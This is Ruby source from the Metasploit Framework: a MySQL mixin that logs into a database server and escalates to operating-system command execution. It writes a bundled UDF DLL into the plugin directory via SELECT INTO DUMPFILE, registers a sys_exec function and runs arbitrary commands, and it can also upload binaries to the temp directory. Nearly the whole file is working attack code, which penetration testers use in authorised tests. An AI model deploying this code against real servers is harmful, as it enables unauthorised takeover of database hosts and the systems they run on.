# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ### # This module provides methods for communicating with a host running MySQL. ### require 'msf/core' require 'rbmysql' module Msf module Exploit::Remote::MYSQL include Exploit::Remote::Tcp def initialize(info = {}) super register_options( [ Opt::RHOST, Opt::RPORT(3306), OptString.new('USERNAME', [ false, 'The username to authenticate as' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username' ]), ], Msf::Exploit::Remote::MYSQL ) end def mysql_login(user='root', pass='', db=nil) disconnect if self.sock connect begin @mysql_handle = ::RbMysql.connect({ :host => rhost, :port => rport, :read_timeout => 300, :write_timeout => 300, :socket => sock, :user => user, :password => pass, :db => db }) rescue Errno::ECONNREFUSED print_error("Connection refused") return false rescue RbMysql::ClientError print_error("Connection timedout") return false rescue Errno::ETIMEDOUT print_error("Operation timedout") return false rescue RbMysql::HostNotPrivileged print_error("Unable to login from this host due to policy") return false rescue RbMysql::AccessDeniedError print_error("Access denied") return false end return true end def mysql_logoff @mysql_handle = nil if @mysql_handle disconnect if self.sock end def mysql_login_datastore begin res = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) rescue Rex::ConnectionTimeout => e print_error("Timeout: #{e.message}") res = false end return res end def mysql_query(sql) begin res = @mysql_handle.query(sql) rescue ::RbMysql::Error => e print_error("MySQL Error: #{e.class} #{e.to_s}") return nil rescue Rex::ConnectionTimeout => e print_error("Timeout: #{e.message}") return nil end res end def mysql_get_plugin_dir print_status "Checking for MySQL plugin directory..." plugin_res = nil base_res = nil plugin_res = mysql_get_variable("@@plugin_dir") rescue nil begin res = mysql_query("show variables like 'basedir'") base_res = res.first[1] if res.respond_to? :first rescue nil end if plugin_res.respond_to? :split target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/" elsif base_res.respond_to? :split target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/" else print_error "Cannot determine the plugin directory." return false end end def mysql_get_temp_dir print_status "Checking for temp directory..." res = mysql_get_variable("@@tmpdir") if res.respond_to? :split target_path = res.split(/[\x5c\x2f]+/).join("/") << "/" else print_error "Cannot determine the temp directory, exiting." return false end end def mysql_get_variable(var) res = mysql_query("SELECT #{var}") if res and res.respond_to? :first return res.first.first end end def mysql_upload_binary(bindata) blob = "0x" blob << bindata.unpack("C*").map {|x| "%02x" % [x]}.join tmpdir = mysql_get_temp_dir binname = Rex::Text.rand_text_alpha(8) binpath = tmpdir << binname print_status "Uploading binary as #{binpath}..." res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'") return res end def mysql_upload_sys_udf(arch=:win32,target_path=nil) fname = (arch == :win32 ? "lib_mysqludf_sys_32.dll" : "lib_mysqludf_sys_64.dll") sys_dll = File.join( Msf::Config.install_root, "data", "exploits", "mysql", fname ) data = File.open(sys_dll, "rb") {|f| f.read f.stat.size} blob = "0x" blob << data.unpack("C*").map {|x| "%02x" % [x]}.join dll_name = Rex::Text.rand_text_alpha(8) target_dll = target_path << dll_name << ".dll" print_status "Uploading #{fname} library to #{target_dll}..." mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'") return dll_name << ".dll" end def mysql_drop_and_create_sys_exec(soname) res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually return false if res.nil? res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'") return false if res.nil? return true end def mysql_get_arch print_status "Checking target architecture..." res = mysql_get_variable("@@version_compile_os") return :unknown unless res case res when /Win64/i :win64 when /Win32/i :win32 else res end end def mysql_add_sys_exec arch = mysql_get_arch case arch when :win64,:win32 target_path = mysql_get_plugin_dir if target_path print_status "Target arch (#{arch}) and target path both okay." soname = mysql_upload_sys_udf(arch,target_path) mysql_drop_and_create_sys_exec(soname) return true else print_status "Cannot determine an appropriate target path." false end when :unknown print_error "Cannot determine target's architecture" return false else print_error "Target is an incompatible architecture: #{arch}" return false end end def mysql_check_for_sys_exec print_status "Checking for sys_exec()..." res = mysql_query("select * from mysql.func where name = 'sys_exec'") res.size == 1 end def mysql_sys_exec(cmd,doprint=false,opts={}) res = mysql_query("select sys_exec('#{cmd}')") if res && doprint print_status "Executing: #{cmd}" return res end end end end